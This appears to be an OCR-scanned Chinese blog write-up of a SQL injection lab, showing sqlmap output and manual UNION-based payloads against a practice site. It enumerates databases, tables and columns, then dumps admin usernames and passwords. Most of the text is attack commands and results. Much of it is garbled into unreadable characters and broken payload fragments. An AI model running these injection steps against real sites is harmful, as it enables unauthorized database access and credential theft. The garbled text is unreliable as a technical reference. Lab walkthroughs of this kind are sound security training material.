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sglmap resumed the following injection point(s) from stored sess

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 4228=4228

Type: time-based blind
Title: MySQL = 5.0.12 AND time-based blind (query SLEEP)

Payload: id=1 AND (SELECT 926© FROM (SELECT(SLEEP(5)))ewlc) CSDN @72 .
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sqlmap -u dbs

] fetching database names
] fetching number of databases
] resumed: 3
] resumed: information_ schema
] resumed: maoshe
] resumed: test
ases [3]:
] informa thn schema
maoshe
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sqlmap -u batch -D maoshe --tables

Database: maoshe
[4 tables]
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admin
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sqlmap -u batch -D maoshe -T admin columns

Database: maoshe
Table: admin
[3 columns]
B ———————
| Column | Type
Id int(11)
password varchar(11)
username varchar(11)
o CSDN @22 #.
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sqlmap -u batch -D maoshe -T admin -C dump

Database: maoshe
Table: admin

[2 entries]
e

username password

admin | hellohack
pptél HR M {E | zkagbanban |

+ ————_____________Eijﬁ]ﬁﬂi&*ﬁr

BEERPAUREN.
Wik, fEflagiR s W $23Zhellohack B AT

= CEARE) -



F—H: HAWMREHFESqQUENREH
i

?id=1 and 1=1

D

rhiq8003.ia.aglab.cn/?id=1 and 1=1

Eh. Oxierskds @ FFrLE D=EAmit @ =ramn Ddissss DEAnt @ "resn DOFR
% o8 )
o -
A ] &

PKD ( DNA ) / FIV / FelLV lift

HIIE2EEEES, UTHE, 2ECFARNTIHES, FEESHNRMNESES TN
Hr, FraimbkdaaCcrATAR,

HNMETcEET&E. =8, BMNIEms. 5ESENmsmtbsss. &
MMmSEEL 7 daiandlou, Pizzacata. Calivan, blueberry, Heida . Dega
Bulu. Spellbound. PERFIKATZZ:., BFHIAEMERERNCFARS HIEIE TiiFE
AOR%EE,

Fell I9IEDRER A 7 RIFRVAE SNSRI, Al eiask B 008
R, SiIS®RITMMERA—HEE, ATHEIPEKNREFRE, ®i1ESNELVERN
mHE, oREY. 5. S, BRI S., 5. SRIESESTh

b il P CCMN (E 4 il
dnif e/ L CSDN :U/ﬂ|ﬂ_

T TH & [B] 1E #
i

? id and 1=2



[l 2%

rhiq8003.ia.aglab.cn/?id=1 and 1=2

gb. OyaiEsts @ FFtkE D =Bttt @ RFam Oxdissds DAt @ ="Famn OFH

#awﬂ

XINBA CAT lFR\ /,

© 2009 i

BEGRALES gg)\nﬁiﬁ.

WHEAIEYR, ¥I2HWHXE 7T £ —MNEARR
B HFEHS
Hi&

?id=1 and 1=1 order by 1



[l 2%

rhiq8003.ia.aglab.cn/?id=1 and 1=1 order by 1

FJE. Dudisaks @ FiFxtiE O=Emit @ =FaE Odisrmes O =Emt @ =FaEm O FH
% |

XINBA CATTERY J,

R\

PKD ( DNA ) / FIV / FelLV B#k

HNEXEES, T+hE. 2CFANTTIRS, TEEESNEWESERTME
Hr, FraiEnkiaaCrALAT,

BEscEE &8, =E. FilNEEsS. aaiENnsfsEns. &
NS E3ET - daiandlou, Pizzacata, Calivan, blueberry, Heida . Dega
Bulu, Spellbound. PERFIKATZZ, SFH{I0EKEPENCFALLE RS TILE
BIRSR.

FAERRE T RS SANSsT M. BN ek BH A8
B, BNSHITNERA—HES. ATHRIBEHNRITEE, BI1EHNaL ENN
BHE, oD, 8. &R, BPERNINEWRES. 5. EVNEEES T '

' conil @4 S
§ L iy Sl WA b R (L
(% .

T IE#
i

?id=1 and 1=1 order by 2



8] %

rhig8003.ia.aglab.cn/?id=1 and 1=1 order by 2

galh.. Dydiersss @ FiFtk O =AMt @ =Fam O ddissds O =Rt @ =FaE O SA
oS SO

C 7 g.’
I o
o z—H‘ HITH i
PKD ( DNA ) / FIV / FelLV itk
HE=EEs, (YTF+hE, ECFANTHES, TEESHNRMESEE TR
Hr, FrBIETKSACFATM.
HMEsEE T8, =6, RiNNERs. 55IENnsfmitvEaks. & b
1MMBEaiE T : daiandlou. Pizzacata. Calivan. blueberry. Heida . De@D| @77 i)
THIER

Hi&

?id=1 and 1=1 order by 3



8] %=

rhig8003.ia.aglab.cn/?id=1 and 1=1 order by 3

FE. Oxmests @ FFrLiE D=EAMt @ REaE O xdalssks D =AMt @ Reas OFR
G R |

© 2009 EiFH

TR EHR, 05 BB 2
B=2: HEEE A

Hi&

?id=1 and 1=2 union



8] %

1 rhiq8003.ia.aglab.cn/?id=1 and 1=2 union select 1,2

BEE. DXEsks @ FEtE D=kt @srws Dodiemss D =ERL @ swws D BH
e o)

ol

XINBA CATTERY J,

e, i

© 2009 B

WHEHILT 2, BHRATTUERT 2 L RRRIVEZR A2
BIp: BHHARXAE

2 2 B8 4
i

?id=1 and 1=2 union 1,database



[l 2%

rhig8003.ia.aglab.cn/?id=1 and 1=2 union select 1,database(]

. DyiisEsks @ FFtE O=Amit @ ="Fam O ydiessss D =AMt @ mFmE O SR
s SO
rr_".l

© 2009 i

=)
CSDN @i

B 2 B B8R A

Hi&

?id=1 and 1=2 union 1,version




8] %=

rhig8003.ia.aglab.cn/?id=1 and 1=2 union select 1,version(}

oy © 2009 EiBE CSDN @2,

Bl TR R A

Hi&

?id=1 and 1=2 union 1,table_name from information_schema.table schema.tables where table_ schama=database

limito,1



[l 2%

rhig8003.ia.aglab.cn/?id=1 and 1=2 union select 1,table_name from information_schema.tables where tak

SEE. Dydiemss @ FixtlE D=EERit @ 7Fms OxdisEsws O=ERt @ =FmE OB R
e i Y,
L] 0l I

ll
e =
B © 2009 EEE C5DN @2y

HREZHHELT, EHERANIKSHHEAEadmink 2
B TBRA

Hi&

?id=1 and 1=2 union 1,column_name from information_schema.columns where table_ schema=database and table

name limit 0,1



8] %=

rhig8003.ia.aglab.cn/?id=1 and 1=2 union select 1,column_name from information_schema.columns whe

XINBA CATTERY /,

Hi&

?id=1 and 1=2 union 1,column_name from information_schema.columns where table_schema=database() and table

name limit 1,1



[l 2%

rhig8003.ia.aglab.cn/?id=1 and 1=2 union select 1,column_name from information_schema.columns whe

FJE. Dydiests @ FiFxtiE O=Emitt @ =FaEm Oxdisrmes O =Emt @ =FaEm O SH
s SO

<

XINBA CATTERY /,

.

Hi&

?id=1 and 1=2 union 1,column_name from information_schema.columns where table_schema=database() and table

name I i



8] %=

rhig8003.ia.aglab.cn/?id=1 and 1=2 union select 1,column_name from information_schema.columns wher

CATTERY J,

=
\

DN @5

#H admin & B4 id username password =M FE¢

BHTBRNE
Hi&

?id=1 and 1=2 union 1,username from admin limit 0,1




8] %=

rhiqg8003.ia.aglab.cn/?id=1 and 1=2 union select 1,username from admin limit 0,1

?id=1 and 1=2 union select 1,username from admin limit 1,1
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1,password from admin 1limit 0,1

rhig8003.ia.aglab.cn/?id=1 and 1=2 union select 1,password from admin limit 0,1
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?id=1 and 1=2 union 1,password from admin limit 1,1




rhig8003.ia.aglab.cn/?id=1 and 1=2 union select 1,password from admin limit 1,1
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